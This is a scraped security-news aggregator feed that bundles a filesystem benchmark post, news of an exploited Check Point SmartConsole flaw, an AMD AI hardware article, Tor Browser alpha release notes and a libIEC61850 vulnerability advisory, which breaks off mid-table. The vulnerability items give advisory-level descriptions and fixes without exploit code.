
The raw benchmark datasets are published under CC BY 4.0. Every result records the kernel and filesystem tool/module versions. CI artifacts also contain a full command trace, so the exact workload is inspectable rather than hidden behind a chart.

Why I started this project

Many filesystem benchmarks follow a familiar pattern: create a filesystem with mostly default options, mount it, run fio or another generic workload, and compare throughput.

General-purpose suites such as the Phoronix Test Suite are useful for conventional performance comparisons, but they do not focus on the machinery that makes modern copy-on-write filesystems interesting.

I wanted a benchmark designed around btrfs, ZFS and bcachefs as multi-device storage systems rather than treating them as interchangeable replacements for ext4 on a single freshly formatted disk.

That means testing behavior such as:

- Redundancy and degraded operation

- Snapshot aging, scaling and reclamation

- Compression and encryption

- Reflinks and clone divergence

- Fsync tail latency and responsiveness under load

- Rebuild and scrub behavior

- Near-full and hard-ENOSPC behavior

- Data integrity and recovery from corruption

Ext4 and XFS over md, LVM and dm-integrity are included as classic-stack baselines so the costs and benefits of integrated CoW designs can be compared with layered alternatives.

Silent corruption is one particularly important example. When one redundant copy is deliberately corrupted behind the filesystem, checksumming filesystems such as btrfs, ZFS and bcachefs can identify the damaged copy and recover from a valid replica.

Traditional md/LVM redundancy without data checksums can notice during a scrub that its copies disagree, but it cannot determine which one is correct. In my tests, some classic configurations returned corrupted data successfully without an application-visible error.

The dm-integrity configuration shows that a classic layered stack can obtain integrity protection too, with a measurable performance cost.

An important limitation

The main dashboard uses loop devices on GitHub-hosted VMs. Absolute throughput numbers and small differences between filesystems should not be interpreted as hardware rankings.

The hosted runs are primarily useful for:

- Correctness and integrity outcomes

- Comparisons within the same job

- Large behavioral differences

- Snapshot-aging and near-full shapes

- Trends across repeated runs

Real disks are required for meaningful absolute performance, concurrency scaling, device parallelism and mixed-media topologies.

I am aware of this limitation and do not want the hosted dashboard to suggest more precision than the underlying environment can provide.

The real-hardware experiment

Kent Overstreet, the creator of bcachefs, made one of his Hetzner machines available for a real-hardware experiment.

The server had two physical NVMe devices. It completed three full benchmark runs, which are available in the separate real-hardware dashboard. These runs provided meaningful absolute measurements and exposed concurrency behavior that cannot be observed when several loop devices share one virtual disk.

During the fourth run, one NVMe controller entered the kernel’s dead state. The existing machine environment had its operating system on RAID0 across the two NVMe devices, so the hardware failure also made part of /nix/store unreadable and eventually prevented new SSH sessions.

The incomplete fourth run is not being published as benchmark data. This was a failure of the underlying hardware, not a result attributable to any filesystem being tested.

I am grateful to Kent for providing the machine and making the real-hardware experiment possible. Without that access, the three existing hardware runs would not exist.

Where I would like to take it

Better hardware would not merely produce more reliable throughput numbers. It would enable an entirely new class of tests designed for multi-device and multi-tier filesystems.

I would eventually like to run the suite on a machine containing several storage classes, for example two HDDs, two SSDs and an NVMe device.

That could support scenarios such as:

- HDD, SSD and NVMe baselines using identical workloads

- bcachefs foreground and background targets

- ZFS HDD data vdevs with SSD special vdevs

- Separate ZFS L2ARC and SLOG experiments

- LVM dm-cache in writeback and writethrough modes

- Metadata and small-block placement on faster media

- Foreground latency during background migration

- Contention between fast and slow storage tiers

- Degraded operation and rebuild under application load

- Performance before, during and after promoting or evacuating a storage tier

These are the kinds of scenarios for which multi-device and multi-tier filesystems are built, but they cannot be represented honestly when every “device” is a loop file backed by the same cloud disk.

I am considering either renting a suitable dedicated server or eventually building and hosting my own machine. Providers such as Worldstream offer configurations close to what I need, but the recurring cost is currently outside the project’s budget.

For now, the benchmark will remain in its hosted-CI form for an unknown amount of time. The existing dashboard will continue to be useful for correctness, behavioral comparisons and regression tracking, but it cannot answer every real-hardware performance question or model complex mixed-media topologies.

I am also open to running the suite on hardware provided by someone else. A useful environment would need Linux root access, clearly identified block devices that may be wiped, and enough uninterrupted access to complete repeated runs. The hardware description, methodology and resulting data would remain public.

I would appreciate technical feedback:

- Which current tests are misleading or unfair?

- Which failure scenarios are missing?

- Which mixed-media topologies would be most useful?

- Which additional filesystems or layered stacks should be included?

- Which results deserve deeper investigation?

The methodology, implementation and raw results are public. If a filesystem is being tested in a way that misrepresents it, I consider that a bug in the benchmark.

submitted by /u/bfenski
[link] [comments]]]> <![CDATA[Check Point hole grants unauthenticated attackers full SmartConsole admin privileges]]> https://tsecurity.de/de/3690156/it-security-nachrichten/check-point-hole-grants-unauthenticated-attackers-full-smartconsole-admin-privileges/ https://tsecurity.de/de/3690156/it-security-nachrichten/check-point-hole-grants-unauthenticated-attackers-full-smartconsole-admin-privileges/ Thu, 23 Jul 2026 22:25:55 +0200 📰 IT Security Nachrichten tsecurity.de

Check Point has confirmed that a critical security hole in its SmartConsole management tool, one that allows unauthenticated attackers to assume full admin privileges, is now being exploited in the wild. The vulnerability, CVE-2026-16232, was given a CVSS score of 9.3.

In its security alert, Check Point described the bug as one allowing an unauthenticated attacker to “obtain an application login token and use it to login via SmartConsole with full admin privileges and apply changes to the security policy and security configuration.”

The company has released a patch for the bug and also recommends that users “limit Trusted Clients, GUI clients, to trusted IP addresses/subnets.” That approach has always been a best practice, but practical networking realities today make it challenging to maintain. Check Point said that the exploit has impacted ten of its customers, all of whom it had notified directly.

Far worse than most

Frank Dickson, group VP for security at IDC, said this security hole is far worse than most.

“This hits harder than your average CVE because of where it lives,” he said. “The CVE targets the SmartConsole login on Check Point’s Security Management Server, the console that pushes policy to every gateway underneath it. Popping a gateway gets you one lock picked. Popping the management server is more like finding the One Ring: one stolen token to rule every gateway it manages, no need to fight each one individually. The attacker can rewrite policy, open new VPN paths and kill the logging.”

In an interview with CSO Online, Lotem Finkelstein, vice president of research at Check Point, said that the company learned of the vulnerability on Sunday, emailed customers the same day, and released the patch within 72 hours.

But when his team re-reviewed earlier logs, knowing what to look for, they spotted this hole being attacked as early as April, Finkelstein said.

The fact that, over the course of three months, the team only found ten organizations under attack, indicated that it has been very difficult for the attacker to find vulnerable systems, he noted; customers were, in the main, using secure settings to protect themselves.

Nonetheless, Finkelstein said, Check Point considers this hole to be “a severe vulnerability.”

Challenges of IP address restrictions

While it can be technically challenging to keep the IP address allowlists that Check Point recommends current, given DHCP’s ability to easily change those addresses, Assaf Morag, a cybersecurity researcher at Flare, noted that specifically limiting access to a management console is far more critical than limiting overall external access.

“Implementing Trusted Clients as a per-IP allowlist is impractical,” he said, but that is not the case with restricting management access. “The more scalable solution is to restrict access based on trusted administrative network segments such as VPN pools, management VLANs, or jump hosts rather than maintaining lists of individual DHCP-assigned client addresses,” he explained. “That gives you the security benefit without creating a full-time administrative task. Maintaining allowlists for individual hosts is much more practical when those hosts have stable, predictable IP addresses, rather than dynamically assigned DHCP addresses.”

Pieter Arntz, malware intelligence researcher at Malwarebytes, also noted that the constantly changing nature of global IP addresses can prove annoying to IT teams. Stressing that he is not familiar with Check Point’s specific settings, he noted, “Certain settings are a nuisance when applied strictly, and at some point the IT staff gets tired of constantly tweaking and they abandon the most secure path.”

Ideal platform for long-term attacks

Mike Wilkes, enterprise CISO at Aikido Security,  agreed that the severity and exposure of this hole is alarming.

“This is exactly the kind of vulnerability that keeps CISOs awake at night because it strikes at the one system that is supposed to stand between the attacker and everything else. An authentication bypass that grants administrative control of a perimeter firewall isn’t just another CVE to patch. It’s an invitation for an adversary to rewrite the rules of the network itself,” he said. “The uncomfortable reality is that nobody runs a CrowdStrike agent on their firewall. Once an attacker owns an edge device, they gain a uniquely privileged position that often falls outside the visibility of traditional endpoint security, making it an ideal platform for persistence, credential theft, traffic manipulation, and long-term espionage.”

IDC’s Dickson strongly encouraged CISOs to deploy the patch, not to just change settings to mitigate the issue. 

“Apply the actual hotfix,” he said. “Don’t just restrict Trusted Client IPs and call it done. That’s a stopgap, not a fix. Any internet-facing management console, Check Point or otherwise, is a five-alarm architecture problem independent of this CVE.”

And, he added, “since attackers here can disable logging, audit admin activity going back before the bug surfaced. Quiet logs aren’t proof nothing happened. This is the recurring theme with ‘single pane of glass’ security tools: the console built to make everything easier to run is also the one thing you really don’t want someone else driving.”

]]> <![CDATA[the PERFECT Raspberry Pi wall dashboard?]]> https://tsecurity.de/de/3690019/it-security-video/the-perfect-raspberry-pi-wall-dashboard/ https://tsecurity.de/de/3690019/it-security-video/the-perfect-raspberry-pi-wall-dashboard/ Thu, 23 Jul 2026 20:49:01 +0200 đŸŽ„ IT Security Video tsecurity.de Author: NetworkChuck - Bewertung: 319x - Views:3894

This video is sponsored by NetworkChuck Coffee. Grab a bag of Default Route (my favorite) and fuel your next build: https://ntck.co/coffee

Raspberry Pi sent me the new Raspberry Pi Touch Display 2, the 10 inch portrait version, and I mounted it on my studio wall to run all my Home Assistant and homelab stuff. It is a gorgeous little screen (1200x1920, real IPS, 10 finger touch, 400 nits) and at $80 it is a steal. There is one catch though, and a lot of you are not going to like it: this thing only works on the Raspberry Pi 5 and the Compute Modules. Your Pi 3 or Pi 4 will not work at all.

In this video I unbox it, walk through everything that is new versus the old touch display, hit a wall when it powered on and did absolutely nothing (turns out you have to update the firmware on your Pi 5, the EEPROM, before it will recognize the screen), mount it with nothing but a drill and some screws, and finally turn it into a beautiful Home Assistant dashboard using an open source kiosk app called TouchKio. Whether you are building a smart home wall panel, a homelab status board, or you just want your Raspberry Pi to show off what it is doing, this is a really good option.

Join the NetworkChuck Academy!: https://ntck.co/NCAcademy

RESOURCES / LINKS:
🌐 Raspberry Pi Touch Display 2: https://www.raspberrypi.com/products/touch-display-2/
đŸ› ïž TouchKio (open source kiosk app): https://github.com/leukipp/touchkio
🏠 Home Assistant: https://www.home-assistant.io/
đŸ–„ïž Proxmox: https://www.proxmox.com/
📖 Update your Raspberry Pi firmware (EEPROM): https://www.raspberrypi.com/documentation/computers/raspberry-pi.html
☕ NetworkChuck Coffee (Default Route): https://ntck.co/coffee

TIMESTAMPS:
0:00 - Unboxing the new Raspberry Pi Touch Display 2
0:45 - What is new on the 10 inch portrait display
1:50 - The catch: Raspberry Pi 5 and Compute Modules only
2:48 - It powered on and nothing happened
3:16 - The fix: updating your Raspberry Pi 5 firmware
5:55 - Building the Home Assistant dashboard with TouchKio

**Raspberry Pi provided the Touch Display 2 for this video, no strings attached. All opinions are my own.

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Some links in this description are affiliate links. If you buy through them, I may earn a small commission at no extra cost to you.

#raspberrypi #homeassistant #homelab

]]> <![CDATA[AMD raises the AI stakes with Helios, Venice and robotics]]> https://tsecurity.de/de/3690010/it-nachrichten/amd-raises-the-ai-stakes-with-helios-venice-and-robotics/ https://tsecurity.de/de/3690010/it-nachrichten/amd-raises-the-ai-stakes-with-helios-venice-and-robotics/ Thu, 23 Jul 2026 20:48:09 +0200 📰 IT Nachrichten tsecurity.de

AMD executives took to the stage at its Advancing AI 2026 event in San Francisco today to detail the company’s next generation of AI infrastructure solutions, from Instinct MI455X AI accelerator GPUs and 6th Gen EPYC “Venice” CPUs, to Pensando networking, ROCm.AI software and its Helios rack-scale platform that ties it all together.

AMD has been working towards rack-scale AI system solutions for years. Its ZT Systems acquisition last year added valuable engineering talent and intellectual property that is now finally bearing the real fruits. Its Helios AI platform is a major platform evolution for AMD, with shipments scheduled to begin in the second half of this year (which is here and now).

The announcements at Advancing AI show how the company has engineered its AI platform solutions for large reasoning models, sustained inference and agentic workflows. These workloads pressure memory capacity, data movement, networking and CPU orchestration. AMD’s approach is to keep as much data close to the compute engines as possible and move it more efficiently throughout the system, but there’s deeper nuance here that’s obvious versus AMD’s chief rival, NVIDIA.  

AMD’s MI455X targets the AI memory wall

The Instinct MI455X GPU is the compute engine that fuels the Helios rack, and the first GPU based on AMD’s new CDNA 5 architecture. Built with a modular mix of 2nm and 3nm chiplets, it carries 432GB of HBM4 and 23.3TB/s of peak memory bandwidth.

Compared to AMD’s current MI355X, the MI455X offers 1.5 times the memory capacity, up to 2.9 times the peak memory bandwidth and up to four times the peak matrix performance with MXFP4 and MXFP8 data types, which are lower-precision numerical formats designed to accelerate AI processing while reducing memory demands. With MXFP6 (6-bit floating point), performance is rated at up to twice that of MI355X.

AMD also shared some actual, measured internal results using production silicon. The company claims MI455X delivers 3.8 times higher FP8 decode performance, 3.5 times more measured FP4 compute performance and between 2.5 and 3.5 times more networking bandwidth than MI355X, depending on the transfer path tested. Those figures provide more context than just numerical specifications, though they remain AMD-provided comparisons that will need independent validation.

AMD Instinct chart showing generational leap in performance

AMD

The architectural choices behind the numbers are important. Reasoning models and long context windows require sizeable KV caches for maintaining AI attention states, while mixture-of-experts models frequently move large amounts of data across accelerators. MI455X should let more model data, activation states and cache remain local. New dedicated IP in hardware can transfer data while the GPU continues processing, and expanded cache and multicast capabilities are designed to reduce redundant data movement to further improve efficiency.

The aforementioned lower-precision formats can also raise throughput and reduce memory use, but model developers still have to determine where they can be applied without unacceptable accuracy loss.

AMD’s Helios rack takes aim at Vera Rubin

AMD Helios rack

Dave Altavilla

Helios is AMD’s primary rack-scale competitor to NVIDIA’s Vera Rubin platform. Each liquid-cooled rack combines 72 MI455X GPUs, 18 single-socket Venice host CPUs and Pensando networking technologies.

In its most complete, premium configuration, AMD rates Helios for 2.9 exaflops of low-precision AI compute, with 31TB of aggregate HBM4 capacity, 1.7PB/s of memory bandwidth, 260TB/s of bidirectional scale-up bandwidth and 43TB/s of scale-out bandwidth.

These are formidable figures, but they are technical specifications rather than actual application benchmarks. The more consequential development is AMD’s move from collections of eight-GPU servers to a 72-GPU shared-memory domain. Models too large for one node can operate across the rack without treating every exchange as a scale-out networking transaction, which benefits large-model inference as well as training.

AMD uses UALink over Ethernet, or UALoE, for an open standard scale-up fabric. Each MI455X provides 3.6TB/s of bidirectional scale-up bandwidth, while the complete rack delivers all-to-all connectivity through a single switch layer. AMD also claims six times more scale-out bandwidth per GPU than MI355X when MI455X is configured with three Pensando Vulcano 800 AI NICs.

While open standards give cloud providers more control over suppliers and system design, AMD and its partners now have to prove those components can deliver the predictable performance, reliability and deployment experience customers expect from a tightly controlled, more vertically integrated platform.

Finally, AMD designed Helios with automatic rerouting around failed links, virtual rack partitions, tray-level serviceability and rack-wide power, cooling and health monitoring. Major hyperscalers and potentially large-scale enterprise customers will likely key in on these capabilities, which can affect the availability, total cost and consistency of the AI services they consume.

Kind of like cowbell, AMD Venice gives agentic AI more CPU

Chart showing AMD EPYC CPU performance

AMD

AMD’s agentic CPU messaging regarding its upcoming Venice-based EPYC processors is mostly marketing speak, but the underlying requirement is very real. An AI agent can invoke retrieval, databases, security checks, code execution and other tools before a GPU generates a response. Running many agents concurrently increases the amount of conventional compute requirements surrounding the accelerators.

Venice scales to 256 Zen 6 cores with support for 512 threads, 16 memory channels, up to 1GB of L3 cache per socket, along with PCIe 6.0 and CXL 3.1 connectivity. AMD is also offering several Venice configurations for other applications, including general-purpose servers, high-frequency workloads, GPU hosts and high-density CPU sandbox systems used to execute agent tools.

Treating the CPU solely as a GPU host understates its role. Gateways, tokenization, vector search, databases and short-lived code execution stress different mixes of per-core performance, thread count, memory bandwidth and I/O. Specifically, AMD’s internal testing shows Venice significantly outperforming its current EPYC 9965 Turin CPU across five parts of the agentic AI pipeline, including gateway processing, context assembly, vector search, enterprise applications and short-lived tool execution. Individual gains vary by workload, but AMD details the overall generational improvement at up to a 1.7 times lift. As with the MI455X figures though, these comparisons come from AMD and will require independent validation.

Pensando networking and ROCm software advance

Keeping GPUs fed with data and coordinating traffic across racks directly affects utilization and operating costs. In fact, GPU utilization is a pretty sad state of affairs currently for some of the major frontier model providers.

As such, Pensando networking has become central to AMD’s roadmap. Helios can connect each MI455X to as many as three 800Gbps Vulcano AI NICs, while Salina DPUs handle front-end networking and infrastructure services.

On the software side, which is an equally critical component, AMD also introduced ROCm.AI, an AI-assisted development layer due to arrive in August. It includes reusable skills for coding agents, simplified management and Hyperloom, which can profile workloads, tune serving configurations, modify kernels and validate results.

These tools address two persistent AMD challenges: developer efficiency and ease of use, and software tuning. Automated optimization still has to produce repeatable gains without creating hard-to-maintain code, however. And while ROCm has progressed significantly over the last few years, NVIDIA’s CUDA retains an advantage in maturity, tooling and developer familiarity.

Customer commitments underscore rack-scale confidence

AMD now has commitments that give its MI450 generation and Helios considerably more weight. Meta and OpenAI have announced multi-generation agreements composed of up to 6GW of AMD compute capacity, with initial 1GW deployments planned for the second half of 2026.

Oracle plans a 50,000-GPU public cloud cluster beginning in the third quarter, while Microsoft will deploy Helios for Azure AI inference. Finally, just before the AMD event, Anthropic announced a strategic partnership for up to 2 Gigawatts of AMD-fueled AI compute, with its first gigawatt expected online in the first half of 2027.

Commitments of this scale reflect confidence in more than just MI455X performance. These customers are evaluating the complete architecture, including Venice CPUs, Pensando networking, ROCm software, rack integration, serviceability and AMD’s ability to deliver and execute across multiple product generations.

There is some financial alignment behind the agreements as well. AMD issued OpenAI performance-based warrants and committed to investing up to $5 billion in Anthropic. That context matters when evaluating these deals as market validation, but these planned deployments are substantial nonetheless and put Helios on a much stronger foundation as it begins shipping.

AMD expands its robotics and embedded foundation

AMD also expanded its physical AI portfolio, building on credible traction from its Xilinx-derived Kria adaptive system-on-modules and embedded technologies that are already powering robotics, machine vision and industrial automation applications.

The new Ryzen AI Embedded X100 combines up to 16 Zen 5 CPU cores, integrated Radeon graphics, a second-generation NPU and as much as 128GB of unified LPDDR5X memory shared across its compute engines. To me this looks a lot like a repackaging and optimization of the company’s Strix Halo platform, but with specific optimizations for the embedded space. Regardless, AMD is pairing X100 with the Kria AI Robotics Developer Platform, which includes a System Module or SOM, and a new Robotics Partner Network spanning hardware, software and platform providers.

Samples began shipping in June, with full production expected in the fourth quarter. This broader objective is to give developers a path across AMD x86 CPUs, GPUs, NPUs and FPGAs for real-time autonomous systems, rather than requiring them to assemble those hardware engines and software components independently.

Execution for AMD is now the test

AMD has assembled a credible platform for the burgeoning agentic AI market that’s blowing up currently with no signs of stopping. MI455X addresses memory and data movement, Venice handles dense agentic CPU workloads, Pensando networking connects global system resources, and ROCm.AI addresses software complexity. Finally, Helios assembles these components into a true competitive threat for NVIDIA’s latest Vera Rubin platform.

AMD’s open architecture may appeal to customers seeking supplier choice, but openness must also translate into reliable deployments, competitive total cost and software that does not require a significant rip-up. NVIDIA enters this cycle with a stronger ecosystem and far more rack-scale deployment experience. The true test will be how easily and reliably customers can integrate, operate and maintain these AMD solutions at scale.

As it stands, AMD now has major customers and a clearly defined architecture with systems engineering expertise behind it. Delivering Helios on schedule and showing that its performance claims translate into a real production workload throughput advantage and total cost of ownership gains will determine how much the competitive gap narrows. And of course, this is in a market that is clamoring for ever-more compute resources with a seemingly insatiable demand for AI services and capacity. That’s an environment for big iron success. Now AMD just has to deliver optimized, turnkey AI platforms. This is far easier said than done, but time will soon tell as deployments take shape this year.

This article is published as part of the Foundry Expert Contributor Network.
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]]> <![CDATA[New Alpha Release: Tor Browser 16.0a9]]> https://tsecurity.de/de/3689969/it-security-tools/new-alpha-release-tor-browser-160a9/ https://tsecurity.de/de/3689969/it-security-tools/new-alpha-release-tor-browser-160a9/ Thu, 23 Jul 2026 20:25:02 +0200 đŸ’Ÿ IT Security Tools tsecurity.de

Tor Browser 16.0a9 is now available from the Tor Browser download page and also from our distribution directory.

This version includes important security updates to Firefox.

⚠ Reminder: The Tor Browser Alpha release-channel is for testing only. As such, Tor Browser Alpha is not intended for general use because it is more likely to include bugs affecting usability, security, and privacy.

Moreover, Tor Browser Alphas are now based on Firefox's betas. Please read more about this important change in the Future of Tor Browser Alpha blog post.

If you are an at-risk user, require strong anonymity, or just want a reliably-working browser, please stick with the stable release channel.

It's ESR transition season again!

Well actually, it has been ESR transition season throughout this entire release cycle! As described in the aforementioned Future of Tor Browser Alpha blog post, we have been incrementally rebasing our Alpha channel on Firefox betas since December of last year. As a result, we now stand before you with Tor Browser 16.0a9 which is based on Firefox ESR 153.

We will continue rebasing Tor Browser 17.0 Alpha branches on Firefox betas throughout the remainder of the Tor Browser 16.0 release cycle. However, new feature-work for now must be put on hold for a few reasons:

  • We must focus our attention on resolving our Bugzilla Audit issues to ensure the features we have inherited from upstream comply Tor Browser's threat model and to patch any changes which do not.
  • Feature work targeting 16.0 stable would need to be cherry-pick'd onto our 17.0 Alpha branches to ensure we don't lose any work. The more invasive a feature patch is, the harder it will be to port to newer versions. This would also be a potentially error-prone process and there is some risk we would lose patches along the way.
  • We need to finish stabilizing as soon as possible as we have hard external deadlines which cannot be moved: the end-of-life of Firefox ESR 140 on October 13th and the Google Play Minimum Target API Level requirement on November 1st

Challenges and Triumphs

💍 Sharing the Load

Rebasing the hundreds of Tor Browser patches onto newer versions of Firefox is a challenging task. It is like maintaining the structural stability of sand-castle at high-tide with the waves crashing all around you.

As such, it quickly become clear early in this new process that we would need to do something if we wanted to avoid burning out the few developers typically involved in this work. To mitigate this, we shared the knowledge internally and spread the work out across all eight members of the team. This way, each developer was only responsible for at most two or three rebases throughout the entire release cycle.

🎹 UI Code Churn

Over the past year, Firefox has developed and integrated two major changes to the UI in Firefox: a redesign of about:preferences in Firefox Desktop and a migration from Material 2 to Material 3 in Firefox Android.

Adapting to these types of changes to the frontend are typically rather time-consuming for us, as many (if not the majority) of our patches modify Firefox's UI in some way. For example, we have an entire preferences page on Tor Browser desktop dedicated to configuring how the browser connects to the Tor Network. On Android, we similarly have various additions to the menus, configuration options, and custom UI.

Whenever Mozilla modifies their design systems and Firefox's user interface, we necessarily have to adapt our own custom additions to match. Otherwise, our Tor Browser-specific UI elements would look completely out of place and potentially confuse users (as well as simply looking unprofessional). Therefore, each of these upstream changes requires collaboration with the Tor Project's UX team to update our features' designs and of course development time to implement.

In addition to the time-cost associated with the extra engineering and UX collaboration, very often our old patches simply do not apply cleanly due to the amount of code which has changed. For example, the about:preferences changes on Firefox Desktop are essentially a complete re-write which means we also have to completely re-write our own settings changes without regressing in functionality.

On the plus side, one benefit of our new processes is that we have been able to spread out this work over the entire release cycle. In the past way of doing things, we would have discovered all UX elements which needed to be fixed, updated our designs, and re-implemented in the course of a few months during the old ESR transition season. Under this new way of working, we have been able to incrementally fix things throughout the development cycle.

The benefits of working this way does not just apply to UX of course. It is much easier to find regressions across the entire stack when rebasing between one major Firefox version at a time instead of across 12 or 13. It is also much easier for developers to fix individual regressions one at a time compared to diagnosing, disentangling, and fixing multiple bugs concurrently (divide et impera!).

⚙ Pending Google Target API Level Requirements

Every year, Google requires new Android app releases to target an updated minimum API level. This means, we would not be able to upload new versions of Tor Browser Stable past a certain date (usually August 1st with an extension to November 1st typically possible) without first updating the app to support the new minimum target API level. Fortunately, we inherit most of the required changes from Mozilla when rebasing to the next major ESR.

However, this requirement does impose a hard deadline for the absolute latest we can responsibly stabilize Tor Browser Alpha and promote it to Stable. We've been fortunate in the past few years to make the deadline with a few days to spare (October 28th for Tor Browser 15, October 22nd for Tor Browser 14, etc). Given how far ahead of the curve we are this year, we are hoping to release about a month earlier in September (fingers crossed!).

đŸ€– Android APKs too big

The Google Play Store has a strict size limit of about 100 megabytes for Android applications. New functionality added to Firefox Android over the past year means a larger application which results in new headaches for Tor Browser developers. This release cycle was no exception to this rule and we have had to get creative with our size reductions.

In the past, we have been able reduce our package size though various methods including:

Our most recent effort has been the most invasive yet! For some background, the Firefox application consists of (among other things): various shared libraries, the Firefox executable, a library known as 'xul' which contains most of Firefox's natively compiled functionality, and finally a file known as omni.ja. This omni.ja file is a zip archive which contains the JavaScript, HTML, images, and other assets used in Firefox.

This time around, to reduce the size of our Android package we havechanged how this archive is compressed. We modified the Firefox build system to compress this archive with xz and we modified Firefox itself to decompress this archive at runtime. This work did require a few iterations to get right. In the end, we got back about 3 megabytes with these changes and got us once again under Google's imposed size budget.

📉 Even Less Telemetry

Over the years, we have worked to incrementally remove dependencies from Tor Browser Android as part of the aforementioned size reduction work. We of course inherit most of these dependencies from Firefox Android and unfortunately some of them can be labeled as 'trackers'. While we do disable telemetry by default at runtime, the code which implements it remains in the codebase.

We're happy to report that as of Tor Browser 16.0a8, are down to only 1 'tracker' library in the Tor Browser Android codebase: Mozilla Telemetry. Again, this telemetry is disabled at runtime, but this is one more unused dependency which we can hopefully remove in the future (and maybe get some more bytes back!).

Current Status

We have:

  • incrementally rebased Tor Browser and Tor Browser for Android to Firefox ESR 153 from Firefox ESR 140
  • updated the build systems with the latest dependencies and fixed a few reproducibility issues
  • triaged most of the upstream changes from the past year and flagged over 250 issues for further review (triaging of Firefox 153 is in progress)
  • resolved about half of these triaged issues

For the remainder of this release cycle, we will be focusing on auditing these issues and fixing bugs until the 16.0 alpha series is ready to become Tor Browser Stable 16.0. We are optimistically targeting a September release, which would put us one month ahead of schedule compared to last year.

Known Issues

🩊 Firefox Branding

In some places in the browser there may be Firefox branding (e.g. logos, cute little foxes, etc) instead of Tor Browser branding. We're currently tracking one known instance in tor-browser#44998. If you discover any other instances lurking about, please open an issue!

🌐 All websites marked 'insecure' on Tor Browser Android

Currently, the identity block in the URL bar on Tor Browser Android will always report insecure (e.g. a shield icon with a slash through it). For now, you can tap this icon and verify the certificate manually. This issue is being tracked in tor-browser#45115

Send us your feedback

Now is a great time to become an alpha tester! If you find a bug or have a suggestion for how we could improve this release, please let us know.

Full changelog

The full changelog since Tor Browser 16.0a8 is:

]]> <![CDATA[USN-8598-1: rsyslog vulnerabilities]]> https://tsecurity.de/de/3689947/unix-server/usn-8598-1-rsyslog-vulnerabilities/ https://tsecurity.de/de/3689947/unix-server/usn-8598-1-rsyslog-vulnerabilities/ Thu, 23 Jul 2026 20:18:26 +0200 🐧 Unix Server tsecurity.de <![CDATA[USN-8600-1: libXpm vulnerability]]> https://tsecurity.de/de/3689945/unix-server/usn-8600-1-libxpm-vulnerability/ https://tsecurity.de/de/3689945/unix-server/usn-8600-1-libxpm-vulnerability/ Thu, 23 Jul 2026 20:18:20 +0200 🐧 Unix Server tsecurity.de <![CDATA[MZ Automation libIEC61850]]> https://tsecurity.de/de/3689940/it-security-nachrichten/mz-automation-libiec61850/ https://tsecurity.de/de/3689940/it-security-nachrichten/mz-automation-libiec61850/ Thu, 23 Jul 2026 20:16:58 +0200 📰 IT Security Nachrichten tsecurity.de View CSAF

Summary

Successful exploitation of these vulnerabilities could allow an unauthenticated network-adjacent attacker to crash critical IEC 61850 services or execute arbitrary code, disrupting or compromising protection, visibility, and control functions.

The following versions of MZ Automation libIEC61850 are affected:

  • libIEC61850 >=v1.0.0|<=v1.6.1 
CVSS Vendor Equipment Vulnerabilities
v3 8.1 MZ Automation MZ Automation libIEC61850 Stack-based Buffer Overflow, Heap-based Buffer Overflow, Improper Handling of Syntactically Invalid Structure, NULL Pointer Dereference

Background

  • Critical Infrastructure Sectors: Critical Manufacturing, Energy, Transportation Systems
  • Countries/Areas Deployed: Worldwide
  • Company Headquarters Location: Germany

Vulnerabilities

Expand All +

CVE-2026-50039

The affected product is vulnerable to a stack-based buffer overflow, which may allow an attacker to cause a memory corruption via a ReadRequest.

View CVE Details

Affected Products

MZ Automation libIEC61850
Vendor:
MZ Automation
Product Version:
MZ Automation libIEC61850: >=v1.0.0|<=v1.6.1
Product Status:
known_affected
Remediations

Vendor fix
MZ Automation recommends updating to the latest build of the libIEC61850 standard. Documentation can be found at https://github.com/mz-automation/libiec61850.
https://github.com/mz-automation/libiec61850

Relevant CWE: CWE-121 Stack-based Buffer Overflow

Metrics

CVSS Version Base Score Base Severity Vector String
3.1 7.5 HIGH CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
4.0 8.7 HIGH CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

CVE-2026-49035

The affected product is vulnerable to a heap-based buffer overflow via a crafted MMS Initiate request. Remote code execution (RCE) has been demonstrated when ASLR is disabled; memory corruption or denial of service may occur in configurations where ASLR is enabled.

View CVE Details

Affected Products

MZ Automation libIEC61850
Vendor:
MZ Automation
Product Version:
MZ Automation libIEC61850: >=v1.0.0|<=v1.6.1
Product Status:
known_affected
Remediations

Vendor fix
MZ Automation recommends updating to the latest build of the libIEC61850 standard. Documentation can be found at https://github.com/mz-automation/libiec61850.
https://github.com/mz-automation/libiec61850

Relevant CWE: CWE-122 Heap-based Buffer Overflow

Metrics

CVSS Version Base Score Base Severity Vector String
3.1 8.1 HIGH CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
4.0 9.2 CRITICAL CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

CVE-2026-50103

A NULL pointer dereference in the L2 GOOSE and R-GOOSE shared parser, which may allow a network-adjacent attacker to crash a subscribing application by sending a crafted GOOSE frame containing a malformed TLV value.

View CVE Details

Affected Products

MZ Automation libIEC61850
Vendor:
MZ Automation
Product Version:
MZ Automation libIEC61850: >=v1.0.0|<=v1.6.1
Product Status:
known_affected
Remediations

Vendor fix
MZ Automation recommends updating to the latest build of the libIEC61850 standard. Documentation can be found at https://github.com/mz-automation/libiec61850.
https://github.com/mz-automation/libiec61850

Relevant CWE: CWE-228 Improper Handling of Syntactically Invalid Structure

Metrics

CVSS Version Base Score Base Severity Vector String
3.1 6.5 MEDIUM CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
4.0 7.1 HIGH CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

CVE-2026-50032

A NULL pointer dereference in the MMS Write Named Variable List handler, which may allow a network adjacent attacker to crash the server by sending a WriteRequest with an empty listOfData field.

View CVE Details

Affected Products

MZ Automation libIEC61850
Vendor:
MZ Automation
Product Version:
MZ Automation libIEC61850: >=v1.0.0|<=v1.6.1
Product Status:
known_affected
Remediations

Vendor fix
MZ Automation recommends updating to the latest build of the libIEC61850 standard. Documentation can be found at https://github.com/mz-automation/libiec61850.
https://github.com/mz-automation/libiec61850

Relevant CWE: CWE-476 NULL Pointer Dereference

Metrics

CVSS Version Base Score Base Severity Vector String
